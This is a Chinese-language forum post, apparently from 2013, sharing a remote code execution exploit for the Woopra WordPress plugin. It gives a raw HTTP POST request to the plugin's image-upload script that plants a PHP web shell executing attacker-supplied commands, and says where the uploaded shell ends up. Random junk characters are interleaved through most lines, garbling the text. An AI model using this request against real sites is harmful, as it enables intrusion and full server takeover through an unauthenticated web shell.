|
照例e文装逼 WordPress Woopra Remote Code Execution：http://www.wordpress-secure.org/ ... ote-code-execution/ ! }. ^3 ]# M/ u# ?/ [0 v8 G
此漏洞对Woopra 1.4.3.1以上版本无效。 插件下载地址： http://downloads.wordpress.org/plugin/woopra.1.4.3.1.zip / D$ J4 M9 X. |' }% }
exp发包： POST /wordpress/3.5.1_CN/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name=11.php HTTP/1.1$ k5 z/ u0 a+ r. u3 m/ o, l% m5 |
Host: ha.cker.in
4 b5 w5 m- R; ~. `) @ P4 xProxy-Connection: keep-alive
1 L8 T9 x& L% K! D/ Q6 YCache-Control: max-age=07 Z. ~; o* e5 i% R) x& @
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8* p( k) {2 A( I- E, |. s+ E6 p. `- @
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1478.0 Safari/537.363 J; I7 q1 e7 h- I
Accept-Encoding: gzip,deflate,sdch
* ?" p3 X6 T: o: HAccept-Language: zh-CN,zh;q=0.8
7 e! r' M2 T. M% v) bContent-Length: 28 <?php eval($_POST['cmd']); ?>
3 g8 A3 T7 i# W- a6 n8 D上传的文件在http://ha.cker.in/wordpress/3.5. ... pload-images/11.php
6 \5 E! V" Z- F: q" J* A* `) y/ s2 o: h | 
发表于 2013-10-13 13:06:55
收藏
支持
反对